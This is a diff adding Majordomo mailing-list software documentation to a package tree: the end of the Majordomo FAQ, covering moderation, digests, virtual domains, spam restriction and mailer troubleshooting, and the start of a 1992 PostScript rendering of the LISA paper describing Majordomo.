(probably hidden, for simplicity's sake) + +3.8 - What are all these different passwords? + +Think of three separate passwords: + + 1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list manager + when using writeconfig commands etc. This allows someone who handles a + number of mailing lists all using the same password. This is also a + "backup password" in case the .config file gets corrupted. + 2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + 3. A password for those concerned with the list content (approve_passwd) + +This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new config +file to be put in if the config file was trashed and the admin_password was +obliterated, and may still be useful to allow a single password to be used +for admin functions by the majordomo admin or some other "superadmin". + +Note that the admin passwd in the config file is not a file name, but the +password itself. This is the only way that the list-maintainer could change +the password since they wouldn't have access to the file. + +3.9 - How do I tell majordomo to handle "get"-ing of binary files? + +Majordomo is not designed to be a general-purpose file-by-mail system. If +you want to do anything more than trivial "get"-ing of text files (archives, +etc) than you should get and install ftpmail. Majordomo has hooks to allow +transparent access to files via ftpmail (see majordomo.cf). See the +beginning of this FAQ for where to get ftpmail. + +3.10 - How do I set up a moderated list? How do I approve messages? + +First, you need to tell Majordomo that the list is moderated. In the +configuration file for the list, you set "moderate = yes". Do not try to use +the now-deprecated "-A" option to resend. In fact you shouldn't be using ANY +options to resend except "-h" and "-l", since all the others are handled in +the config file. + +Any mail which is not "approved", gets bounced with "Approval required". If +the moderator wishes to approve the message for the list, then you need to +tag the message as "approved" and send it to the list. The "approve" script, +which comes with Majordomo, automates this for you. Whenever you get a +message which needs approval, from your mail reader pipe the message through +"approve". The password for each list needs to be put in your .majordomo +file. Read the "approve" script for more information. + +If you don't have access to "approve" (e.g. you're not on a UNIX system with +Perl), you have to do it by hand. The easiest way is to forward the original +message to the list, add the line "Approved: approval-password" to the very +first line of the body, and then the entire contents of the original +message. (meaning there should not be a blank line before and after the +"Approved:" line.). Don't forget to edit out the headers which were added by +the bounce process. + +For example: + +To: your-list@example.com +Subject: doesn't matter + +Approved: your-approval-password +Received: by some.site.org.... +Received: by another.site.org.... +From: joe@another.com (Joe User) +Subject: this list is great! +To: your-list@example.com + +Hey, this list is great, and the moderator sure is sexy! + +Joe + +It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve their own +message again. Here's an example: + +To: your-list@example.com +Approved: your-approval-password +Subject: Thanks! + +I like this list too, but sorry, I'm married! :-) + +-- your moderator + +Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need to +use the first method. + +Note that in either case the "Approved:" line will be stripped out by +Majordomo before it gets sent to the list, so the list members won't see +your list password. + +3.11 - How do I set up a digested version of a list? + +[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. +Bresler)] + + * Create aliases for the mailing list and the digest. See section 2.2 of + the README for an example. + * create an alias for the majordom(o) user, so that his cron generated + mail comes to me, rather than just piling up in + /usr/local/mail/majordom. + * create the list's and the digest's files, (widget, widget-digest, + widget.config, widget-digest.config, etc.). Edit the + widget-digest.config file and make sure all the digest options are set + to your tastes. + * create the digest directory and archive directory. See FAQ section 2 on + how to set permissions on all majordomo files and directories. You must + have archives if you have digests so the digester can make the digest. + You can purge the archive after the digest is generated. + * Add yourself to both the mailing list and its digest so you can monitor + what happens...at least for a while (not a bad idea to create a dummy + user, and subscribe him to both the mailing list and its digest. This + preserves a record of messages for debugging. Don't forget to remove + this account and unsubscribe it after debugging.) + * Optionally you may use cron to send a mkdigest to push out a digest at + set intervals regardless of the number of queued messages. See the + question Why aren't my digests going out?". + +3.12 - How do I setup virtual majordomo domains? + +[From Alan Millar, et. al.] +Set up a majordomo.cf file for each virtual domain, defining $whereami as +appropriate. Use your mailer's virtual domain stuff to get to it, making an +alias for it if necessary. + +For sendmail, be sure to check out +http://www.sendmail.org/virtual-hosting.html first. + +Alias entry: + + majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf" + +Virtual domain stuff (in your virtusertable): + + majordomo@domain2 majordomo-domain2 + majordomo-owner@domain2 whoever + +I use the sendmail virtual domain examples right off the Sendmail FAQ. Works +for me. + +You'll need to modify request-answer slightly if you want the virtual host +to be used there in replies. Look for: + +From: $list-request + +in the source and change it to: + +From: $list-request\@$whereami + +Don't forget to use the -C option to request-answer for your virtual +aliases. + +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also +for good instructions on configuring virtual domains with Majordomo. + +3.13 - How can I stop people from using my mailing list to spam my +subscribers? + +[From mcr@solidum.com (Michael Richardson) ] +There are two approaches to solving spam. They are complementary. + +The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ for extensive recipes on this. + +The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see section +3.6 for some of the pitfalls of using restrict_post. They all apply. My +experience is that spammers have not yet learnt about the "-outgoing" alias, +and the techniques in section 3.6 would apply when they do. + +The major objection to using restrict_post to deflect spam is that it may +deflect posts from legitimate people -- people who've subscribed with one +address but are posting from another address. It may also restrict +cross-posts from other lists, or from people who read the list via news. + +The solution to the above objections is twofold: + + 1. the moderator must forward legitimate posts. This can be a pain, but it + does work. + 2. the restrict_post header can be extended. + +The typical way to do #2 is to set restrict_post to: + +mylist:mylist-nomail + +Then, create a configuration file and password for "mylist-nomail", but DO +NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner) + +The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list. + + ------------------------------------------------------------------------ + +Section 4: Mailer and list administration problems + +4.1 - Address with blanks are being treated separately + +If a subscriber to the list is +John Doe < jdoe@node.com> + +it gets treated these as the three addresses: +John +Doe +< jdoe@node.com> + +[From Alan Millar] +Majordomo does not treat these as three addresses. Apparently your mailer +does. + +Remember that all Majordomo does is add and remove addresses from a list. +Majordomo does not interpret the contents of the list for message +distribution; the system mailer (such as sendmail) does. + +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the end of +each line was effective to fix the problem, and I got to keep my comments. +So I patched Majordomo to add the comma at the end of each address it writes +to the list file. + +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. + +4.2 - Why aren't my digests going out? + +[from John Rouillard] + + echo mkdigest [digest-name] [digest-password] | mail majordomo@... + +This will force a digest to be created. Or you can set the max size in the +digest list config file down low, and force automatic generation. + +4.3 - Why do I get duplicate mail sent to the list? + +If you're running MMDF, read on: [From Gunther Anderson] +Well, I can tell you what happened to me recently. We use MMDF here, which +certainly colors the picture a little. What was happening here was that MMDF +was verifying the validity of the whole mailing list before returning from +the Submit call. The thing calling the Submit would time out and close, but +the Submit itself would still be running somewhere. The calling routine +would believe that the message had failed in its delivery, but the Submit +would eventually succeed. The calling process would try again some time +later. This, of course, is bad. The larger the list got, the more addresses +there were to verify (verification was really just a DNS search on the +target machine name), the more likely, under load, that the message would +duplicate. We finally got so large, with so many international addresses +(which seem to timeout on DNS queries much more often than US addresses) +that we were always duplicating. Infinitely (until I killed the original +submitter). + +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the addresses +before accepting a job. We used the list-processor channel, and only had to +check that the listname-request name was set properly, because +list-processor insists on making listname-request the envelope "From " +header name. + +If you're running Sendmail, this is more rare. There have been unconfirmed +reports that on some systems having the queue process interval set too short +can cause problems, even though sendmail is supposed to handle this. +Workarounds are to increase your queue process interval (-q flag), or +decrease the interval between queue checkpoints (OC flag in sendmail.cf). + +There have been many reports from Linux users complaining about duplicate +mail. The problem seems to be that flock() under Linux is broken. This may +be fixed in a future release, but for now in sendmail's conf.h in the #ifdef +__linux__ section add a line #define HASFLOCK 0. There are also reports that +some versions of the libc have problems, and that linking with the +libresolv.a from a recent BIND version will work around the problem. +[ Please let me know if you have any more information --ed ] + +4.4 - How do I gate my list to and/or from a newsgroup? + +The easiest method is to use a program called newsgate. You can find it at +ftp://ftp.isc.org/isc/inn/contrib/. Installation instructions are +straightforward, it provides sample entries for your newsfeeds/sys file and +aliases entries. The newsgate package includes news2mail and mail2news. + +4.5 - How can I improve Majordomo's performance? + +Mail to list throughput + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail to +the list. Upgrading your sendmail to version 8.x will improve things +greatly, as this version has a lot of enhancements which use connections +more efficiently. For most lists, this is enough. Majordomo itself doesn't +use very much in the way of resources except perhaps memory. Adding more +memory will help if your machine does a lot of paging during mail delivery. + +Using other mailers instead of sendmail has met with varying success. Exim +can also be used (see http://www.exim.org/). qmail has been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way than sendmail (some would say paranoid). See +http://www.qmail.org. The qmail site includes at least one way to get +majordomo to work with qmail. Note that it is possible to get majordomo +working under qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the Using Majordomo with qmail FAQ, written by +Russ Allbery. + +If you are using Exim instead of sendmail there are more things you can do. +Instead of concealing the -outgoing addresses, it is possible to configure +Exim so that those addresses are only usable by the local majordomo user. A +description of how to do that can be found at +http://www.netmaster.ca/exim/majordomo.html as well as other information +about configuring majordomo with Exim. + +If your lists are very large you may try installing bulk_mailer, by Keith +Moore. It pre-sorts the list into chunks grouped by site, and passes the +resulting chunks off to individual sendmail processes for delivery (see note +next paragraph). Get it from ftp://cs.utk.edu/pub/moore/bulk_mailer/. It +installs simply by replacing your usual -outgoing alias with (line wrapped +for clarity): + +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site + /path/to/lists/sample" + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one problem. +Until version 1.3 it didn't understand parenthesized comments in addresses, +resulting in incorrect sorting and reduced performance. Your list must be +configured with strip=yes in the list configuration file if you don't +upgrade to 1.3 or higher. + +TLB is another package which is like bulk_mailer, but has other features. +You can get it from ftp://ftp.hpc.uh.edu/pub/tlb/. The advantage of TLB is +its greater configuration flexibility, and also the fact that it's possible +with TLB to eliminate the -outgoing address, making configuration easier and +lists more secure. + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to verify that +the sender is subscribed to the list). Think twice about using this option +with very large lists. + +Majordomo command processing + +Most of the improvements in this are experimental and not widely available +or not yet completed but scheduled for future releases. Some areas include: +improvements in shlock.pl to use exponential backoffs to reduce contention +and starvation of locks, using some sort of dbz-style database for +subscription lists to speed up subscribe and unsubscribe commands, and +changes in the configuration file system to allow faster parsing and faster +execution of certain commands such as "lists". If you are interested in +working on improvements in this area, join the majordomo-workers list +mentioned above. If you make any specific patches or additions available, +please let me know so I can add references to it here. + +4.6 - How can I handle X.400 addresses? + +Majordomo by default treats addresses starting with "/" as "hostile", and +won't let people subscribe. This is to prevent someone from subscribing a +majordomo-owned filename to the list, and being able to write by sending +mail to the list. Unfortunately, all X.400 addresses begin with a "/". See +the $no_x400at and $no_true_x400 variables and the associated comments in +the majordomo.cf. There is a reported bug in 1.94 - you may need to change +both tests for these variables in majordomo.pl to put "main'" before them. +Like this: + + if (!$main'no_x400at) { + + if (!$main'no_true_x400) { + +This is fixed in Majordomo 1.94.1 and higher. + +4.7 - Why is the Subject of my messages missing? + +[from Dave Wolfe] +But it's not. Oh, you probably mean "Why is the subject line of messages to +my moderated list blank?" Because you didn't include any headers after the +Approved: header in the body of the messages. Or you deleted them when you +approved the bounced messages. + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original message +(as opposed to a bounced message), you have to also fill in some headers to +be sent out, such as Subject:, To:, and From:. + +See section Question 3.10 on how to approve messages to moderated lists. + +This is also explained in Doc/list-owner-info, which should be sent to all +list owners and moderators. + +4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I +stop this? + +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you why +in the Subject of the message. Here's a list of the most common bounce +reasons: + +An "Admin request" bounce means that the list is configured to filter out +what it thinks are "administrivia" messages, and it thought that message was +one. These are messages such as "subscribe" or "unsubscribe" or "help", +which get sent to the list instead of majordomo. Lists generally have this +turned on by default. If you don't like it, set "administrivia=no" in the +list config file. If that doesn't work, check your aliases to make sure the +"-s" option to resend isn't being used on that list. + +An "Approval required" bounce means that the list is moderated, and the +message needs to be approved. (see section 3.10 of this FAQ) + +A "Message too long" bounce means that the message was longer than the +"maxlength" setting in the list config file. + +If you get any of these bounces messages and you think the mail is OK to +send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this FAQ. + +4.9 - My list configuration doesn't seem to be working. + +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 of this FAQ on +how to set up the aliases for the list correctly to pipe mail through +"resend". + +Other things to check would be that the arguments to "resend" are only "-h", +and "-l" (and perhaps "-C" if you use virtual domains). resend used to be +configured with other command line flags to do things such as have moderated +lists. However these flags override any config file settings, so remove them +if they are present. All configuration should be done now through the config +file. + +4.10 - How do I set it up so that the originator of a message doesn't get a +copy of his/her own message back? + +You can't. Sorry. The "metoo" setting in sendmail has no effect after a +message is piped through an external program. Unless you're willing to give +up piping messages through "resend", there's no way to stop this. + +4.11 - With Smail or Exim, users subscribing to a list sometimes get mail +sent before they subscribed + +[from Lazlo Nibble and Philip Hazel] +This is due to the way Smail and Exim deliver mail. With sendmail, it +expands its delivery list when the mail first arrives. If the list gets +changed, the message will still get delivered to the original recipient +list, since the original list is never referred to again. As sendmail +delivers mail, it removes addresses from its expanded list as they get +delivered. + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long as the message +is queued waiting for one or more addresses in the list, it will get sent to +any new recipients whenever the queue gets processed next. This is rather +unexpected for those used to sendmail's behavior. + +The advantage of smail and exim's approach is that if an address in your +list is unreachable (or has a bad .forward file), you can change the list +contents (or the .forward file) and the message will be delivered to the new +address when the queue next gets processed. It won't deliver to the old, bad +address. + +There really isn't an easy solution to this, but it's really not a serious +problem. + +4.12 - Majordomo doesn't seem to work with sendmail 8.9 + +The new security features of sendmail don't allow :include: directories to +be group writable. Unfortunately, by default these directories are group +writable with Majordomo. If you have this problem you will see errors from +sendmail like "Cannot open /path/name: Group writable directory" and +"aliasing/forwarding loop broken". + +One solution is to add: + +O DontBlameSendmail=groupwritabledirpathsafe + +in your sendmail.cf and restart sendmail. + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure also +any parent directories to not have the group or other write bit set. If +Majordomo is working correctly having group write permission is not +necessary. However, some people find it convenient to have group-write +access so users can be put in the majordomo group and not need root access +all the time to work on majordomo. + +4.13 - I can't get Majordomo to work with RedHat Linux + +If you are trying to use the Majordomo RPM, it is broken. The majordomo.cf +which comes with the RPM has the line + +$whereami = `hostname`; + +This is broken for two reasons. First, the hostname may not necessarily be a +fully-qualified domain name, and thus this won't generate a valid Internet +email address. Secondly, using `hostname` generates a linefeed character at +the end, which totally screws things up, and you end up getting blank lines +in headers (and you'll start to see headers appear in the body of the +message). + +The solution is to edit the line and put in your correct host name or mail +domain. + +A bug report has been filed with RedHat. + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which does +not work with Majordomo. (you will get "Unknown mailer error 9" errors). +Download and install the updated Perl RPM from ftp://updates.redhat.com/. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps new file mode 100644 index 0000000..ecae347 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps @@ -0,0 +1,8203 @@ +%! +%%Creator: troff->tpscript +%%CreationDate: Wed Sep 9 11:39:31 1992 +%%EndComments +/inch { 480 mul } bind def +/rotateit { /pgtop 11 inch def /pgwid 8.5 inch def newpath } bind def +/scaleit { 72 480 div dup scale rotateit 1 setlinecap} def +/unscaleit { 480 72 div dup scale} def +/RBKFontDict 9 dict def /NEWDict 10 dict def +RBKFontDict begin +/FontType 3 def +/FontName (RBK specials) cvn def +/FontMatrix [ 0.001 0 0 0.001 0 0] def +/FontBBox [ -50 -250 1000 1000 ] def +/Encoding 256 array def 0 1 255 { Encoding exch /.notdef put } for +Encoding +dup 2 /Csq put +dup 3 /Cci put +dup 4 /Cbx put +dup 5 /CSu put +dup 15 /Cbu put +pop +/CharProcs 24 dict dup begin + /setC { 0 -50 -250 1000 1000 setcachedevice} def +/Cbu { 0 0 moveto +600 setC +300 300 moveto 300 300 250 0 360 arc closepath fill } def +/Csq { 0 0 moveto +600 setC +50 50 moveto +500 0 rlineto 0 500 rlineto -500 0 rlineto closepath fill } def +/Cbx { 0 0 moveto +600 setC +70 setlinewidth +50 50 moveto 500 0 rlineto 0 500 rlineto -500 0 rlineto closepath stroke } def +/Cci { 0 0 moveto 600 setC +70 setlinewidth +550 300 moveto 300 300 250 0 360 arc closepath stroke } def +/CSu { +0 0 moveto +715 setC +700 700 scale +%% Kolstad & Horton/Polk 12/1989; Font: kolstad 6/24/90 +/divsq2 { 1.4142136 div } bind def /mulsq2 { 1.4142136 mul } bind def +/TW 0.62 def %% top width +/MG 0.12 def %% MidGap +/US TW 4 mul MG 6 mul add def %% Uside +/UL US TW sub MG sub def %% U length +/OR MG TW add def %% outradius +/T2 TW divsq2 def +/U2 UL divsq2 def +/M2 MG divsq2 def +/SU { %% sunU + currentpoint + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch M2 add exch M2 sub MG 135 315 arc + U2 dup rlineto + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch OR divsq2 sub exch OR divsq2 add OR 315 135 arcn + closepath + moveto +} def +/SU2 { SU currentpoint 0 US neg mulsq2 rmoveto 180 rotate SU -180 rotate + moveto } def + 1 US mulsq2 2 mul div dup scale + US divsq2 US mulsq2 US divsq2 add rmoveto + 4 { M2 2 mul M2 2 mul rmoveto US mulsq2 0 rmoveto 270 rotate SU2 } repeat +%% 0 setlinewidth stroke + fill +} def +end def + +/BuildChar +{ + NEWDict begin + /charcode exch def /fontdict exch def + fontdict /CharProcs get begin + fontdict /Encoding get + charcode get load + gsave 0 setlinecap 0 setgray newpath exec grestore + end end +} def +end +/RBKFont RBKFontDict definefont pop +%%%%%%%%%%%%%%% End special Font +scaleit 0 0 moveto +/pagebot { showpage restore } def +/pagetop { save } def +/lastpage {} def +/pt { 6.666667 mul } bind def +/y { neg 0 exch rmoveto } bind def +/X { U moveto } bind def +/Y { pgtop exch sub currentpoint pop exch dup /U exch def moveto } bind def +/s { show } bind def +/S { dup gsave show grestore + gsave true charpath 0 setgray stroke grestore } bind def +/l { neg rlineto currentpoint stroke dup /U exch def moveto } bind def +/c { +2 div /rad exch def currentpoint /y0 exch def /x0 exch def +newpath x0 rad add y0 rad 0 360 arc stroke +x0 rad add rad add y0 dup /U exch def moveto + } def +/a { +/y2 exch neg def /x2 exch def /y1 exch neg def /x1 exch def +x1 y1 rmoveto currentpoint +currentpoint +x2 x2 mul y2 y2 mul add sqrt +y1 neg x1 neg atan +y2 x2 atan +newpath arc stroke moveto x2 y2 rmoveto currentpoint /U exch def pop +} def +/e { +2 div /yrad exch def 2 div /xrad exch def +currentpoint /y0 exch def /x0 exch def +gsave x0 xrad add y0 translate xrad yrad scale +LS xrad yrad gt {xrad} {yrad} ifelse div setlinewidth +newpath 0 0 1 0 360 arc stroke grestore +x0 xrad add xrad add y0 dup /U exch def moveto +} def +/spln { +rcurveto currentpoint stroke dup /U exch def moveto +} def + +% stolen from greenbook page 115-116 +/F { findfont exch scalefont setfont } bind def +/RE { % re-encode + findfont begin + currentdict dup length dict begin + { 1 index /FID ne {def} {pop pop} ifelse } forall + /FontName exch def dup length 0 ne { % if + /Encoding Encoding 256 array copy def + 0 exch + { % forall + dup type /nametype eq % if? + { Encoding 2 index 2 index put pop 1 add } + { exch pop } + ifelse + } forall + } if + pop currentdict dup + end + end + /FontName get exch definefont pop +} bind def + +% use make.remap to make new stdencodings: +/stdencoding [ 1 /multiply /ntilde /eth /otilde /oacute /idieresis +/Ocircumflex /ograve /onequarter /scaron /uacute /odieresis +/Ucircumflex /ugrave /yacute /Thorn /zcaron /udieresis /threequarters +/threesuperior /ydieresis /aring /Ccedilla /twosuperior /acircumflex +/Atilde /Aacute /Agrave /ecircumflex /Eacute /copyright 127 /Adieresis +/Egrave /icircumflex /Iacute /onehalf /Edieresis /Igrave /Ntilde /Eth +/ocircumflex /Otilde /Oacute /Idieresis /mu /Ograve /Scaron +/ucircumflex /Uacute /Odieresis /Ugrave /Yacute /thorn /degree +/logicalnot /minus /Zcaron /Udieresis /registered /plusminus /ccedilla +/Ydieresis /Aring /atilde /aacute 176 /Acircumflex 181 /divide 190 +/brokenbar 192 /agrave 201 /eacute 204 /Ecircumflex 209 /adieresis +/egrave /onesuperior /trademark /iacute /Icircumflex /edieresis /igrave +] def +/specdwidth 0 def /LS 0 def +/setwidth {/specdwidth 1 def dup /LS exch def setlinewidth} def +/ft { /fonttype exch def /xsiz exch def /ysiz exch def /sl exch def + fonttype [ xsiz pt 0 sl sin sl cos div ysiz pt mul ysiz pt 0 0 ] + makefont setfont + specdwidth 0 eq {xsiz 4 div dup /LS exch def setlinewidth} if + setgray } def +/Z { specdwidth 0 eq {dup 4 div dup /LS exch def setlinewidth} if + pt scalefont setfont } bind def +/M { pgtop exch sub moveto } bind def +/L { pgtop exch sub lineto } bind def +/cbox { gsave 100 div setgray +currentpoint /nowy exch def /nowx exch def +/radius exch def /boxdown exch def /boxover exch def +currentpoint newpath moveto radius 0 rmoveto +nowx boxover add nowy nowx boxover add nowy boxdown sub radius arcto +pop pop pop pop +nowx boxover add nowy boxdown sub nowx nowy boxdown sub radius arcto +pop pop pop pop +nowx nowy boxdown sub nowx nowy radius arcto pop pop pop pop +nowx nowy nowx boxover add nowy radius arcto pop pop pop pop +currentgray 1.0 ne { gsave fill grestore } if 0 setgray stroke +grestore } bind def +/f.Y /RBKFont findfont def + +0 Y +save +%%EndProlog + +0 Y +%%Page: 1 1 +pagetop +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +0.00 0.0 10 10 f.R ft +672 X +521 Y +722 X +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 22 Z(Majordomo:)s +1567 X(How)s +1908 X(I)s +2013 X(Manage)s +2565 X(17)s +2759 X(Mailing)s +3296 X(Lists)s +672 X +667 Y +1006 X(Without)s +1575 X(Answering)s +2298 X(")s +2379 X(-request")s +3020 X(Mail)s +600 X +835 Y +1419 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 12 Z(D)s +1477 X(.)s +1523 X(Brent)s +1727 X(Chapman)s +2064 X(\261)s +2130 X +f.R 12 Z(Great)s +2335 X(Circle)s +2557 X(Associates)s +840 X +1011 Y +1912 X +f.B 12 Z(ABSTRACT)s +840 X +1145 Y +984 X +f.R 10 Z(Majordomo)s +1339 X(is)s +1425 X(a)s +1496 X(perl)s +1642 X(program)s +1909 X(written)s +2141 X(to)s +2235 X(handle)s +2455 X(routine)s +2686 X(administration)s +3115 X(of)s +3212 X(Internet)s +840 X +1218 Y(mailing)s +1086 X(lists)s +1236 X(with)s +1396 X(as)s +1493 X(little)s +1659 X(human)s +1881 X(intervention)s +2245 X(as)s +2342 X(possible)s +2561 X(.)s +2641 X(Modeled)s +2919 X(after)s +3082 X(the)s +3204 X(Listserv)s +840 X +1291 Y(implementation)s +1261 X(s)s +1316 X(common)s +1578 X(on)s +1673 X(BITNET)s +1939 X(\(but)s +2075 X(unfortunately)s +2463 X(rare)s +2596 X(on)s +2691 X(the)s +2803 X(Internet\),)s +3080 X(it)s +3148 X(automates)s +840 X +1364 Y(the)s +948 X(administration)s +1361 X(of)s +1441 X(mailing)s +1671 X(lists)s +1805 X(by)s +1896 X(allowing)s +2155 X(users)s +2317 X(to)s +2394 X(perform)s +2633 X(the)s +2740 X(most)s +2895 X(frequent)s +3142 X(operations)s +840 X +1437 Y(\("subscribe")s +1218 X(and)s +1364 X("unsubscribe"\))s +1808 X(themselves,)s +2173 X(while)s +2372 X(allowing)s +2656 X(the)s +2788 X(list)s +2921 X(owners)s +3164 X(to)s +3267 X(either)s +840 X +1510 Y("approve")s +1135 X(each)s +1285 X(of)s +1367 X(these)s +1532 X(operations)s +1837 X(\(or)s +1941 X(initiate)s +2156 X(them)s +2317 X(on)s +2410 X(behalf)s +2603 X(of)s +2684 X(a)s +2740 X(user\),)s +2916 X(or)s +2997 X(merely)s +3209 X(monitor)s +840 X +1583 Y(them)s +1016 X(as)s +1115 X(they)s +1273 X(are)s +1398 X(automatically)s +1807 X(approved)s +2054 X(.)s +2136 X(It)s +2220 X(also)s +2371 X(automates)s +2686 X(response)s +2962 X(to)s +3057 X(certain)s +3283 X(other)s +840 X +1656 Y(common)s +1109 X(queries)s +1338 X(from)s +1502 X(users,)s +1691 X(such)s +1848 X(as)s +1939 X("what)s +2131 X(lists)s +2275 X(are)s +2392 X(served)s +2601 X(by)s +2702 X(this)s +2834 X(Majordomo)s +3183 X(server?",)s +840 X +1729 Y("what)s +1031 X(is)s +1110 X(the)s +1226 X(topic)s +1394 X(of)s +1483 X(list)s +1600 X('foobar'?",)s +1925 X("who)s +2100 X(is)s +2179 X(already)s +2410 X(on)s +2511 X(list)s +2629 X('foobar'?",)s +2955 X(and)s +3086 X("which)s +3311 X(lists)s +840 X +1802 Y(managed)s +1103 X(by)s +1191 X(this)s +1310 X(Majordomo)s +1646 X(server)s +1831 X(am)s +1935 X(I)s +1979 X(already)s +2198 X(on?")s +2321 X(.)s +840 X +1896 Y +984 X(Majordomo)s +1336 X(allows)s +1549 X(individual)s +1858 X(list)s +1979 X(owners)s +2210 X(to)s +2301 X(manage)s +2548 X(their)s +2710 X(own)s +2863 X(lists)s +3011 X(\(subscribe)s +3324 X(and)s +840 X +1969 Y(unsubscribe)s +1192 X(users,)s +1379 X(and)s +1508 X(change)s +1730 X(the)s +1845 X(general)s +2075 X(information)s +2423 X(message)s +2683 X(for)s +2793 X(their)s +2949 X(list\))s +3087 X(without)s +3324 X(any)s +840 X +2042 Y(action)s +1035 X(by)s +1132 X(the)s +1245 X(overall)s +1462 X(Majordomo)s +1807 X(owner)s +1973 X(.)s +2043 X(It)s +2115 X(serves)s +2313 X(both)s +2462 X("open")s +2676 X(lists)s +2816 X(\(where)s +3032 X(users)s +3200 X(can)s +3324 X(add)s +840 X +2115 Y(themselves)s +1162 X(to)s +1238 X(the)s +1344 X(list,)s +1468 X(and)s +1588 X(the)s +1694 X(list)s +1801 X(owner)s +1991 X(is)s +2060 X(merely)s +2270 X(informed)s +2537 X(of)s +2615 X(this)s +2735 X(action\))s +2944 X(and)s +3063 X("closed")s +3311 X(lists)s +840 X +2188 Y(\(where)s +1048 X(a)s +1101 X(subscription)s +1450 X(request)s +1667 X(from)s +1820 X(a)s +1874 X(user)s +2009 X(generates)s +2286 X(an)s +2373 X(approval)s +2630 X(request)s +2847 X(from)s +3000 X(the)s +3106 X(Majordomo)s +840 X +2261 Y(server)s +1025 X(to)s +1099 X(the)s +1203 X(list)s +1308 X(owner,)s +1513 X(who)s +1649 X(can)s +1764 X(then)s +1901 X(either)s +2076 X(approve)s +2312 X(or)s +2389 X(ignore)s +2581 X(the)s +2685 X(request\))s +2900 X(.)s +840 X +2355 Y +984 X(Finally,)s +1213 X(all)s +1303 X(interactions)s +1639 X(with)s +1781 X(Majordomo)s +2118 X(by)s +2207 X(both)s +2348 X(users)s +2508 X(and)s +2627 X(list)s +2733 X(owners)s +2948 X(take)s +3083 X(place)s +3248 X(totally)s +840 X +2428 Y(by)s +940 X(electronic)s +1239 X(mail,)s +1410 X(so)s +1503 X(users)s +1674 X(and)s +1804 X(list)s +1921 X(owners)s +2147 X(do)s +2247 X(not)s +2366 X(require)s +2589 X(login)s +2760 X(access)s +2965 X(\(nor)s +3108 X(even)s +3267 X(direct)s +840 X +2501 Y(TCP/IP)s +1062 X(connectivity\))s +1437 X(to)s +1511 X(the)s +1615 X(machine)s +1864 X(Majordomo)s +2200 X(is)s +2267 X(running)s +2495 X(on,)s +2600 X(and)s +2718 X(no)s +2807 X(special)s +3017 X(client)s +3190 X(software)s +840 X +2574 Y(is)s +907 X(required)s +1129 X(.)s +600 X +2720 Y +1150 X +f.B 10 Z(Introduction)s +600 X +2829 Y +744 X +f.R 10 Z(Anyone)s +994 X(who)s +1148 X(has)s +1277 X(ever)s +1432 X(managed)s +1714 X(a)s +1785 X(signi\256cant)s +600 X +2902 Y(electronic)s +906 X(mailing)s +1151 X(list)s +1274 X(by)s +1380 X(hand)s +1549 X(\(which)s +1774 X(is,)s +1876 X(on)s +1982 X(the)s +600 X +2975 Y(Internet)s +831 X(at)s +903 X(least,)s +1067 X(the)s +1172 X(usual)s +1336 X(method\))s +1581 X(knows)s +1778 X(how)s +1916 X(much)s +600 X +3048 Y(time)s +757 X(it)s +831 X(takes)s +1005 X(to)s +1093 X(process)s 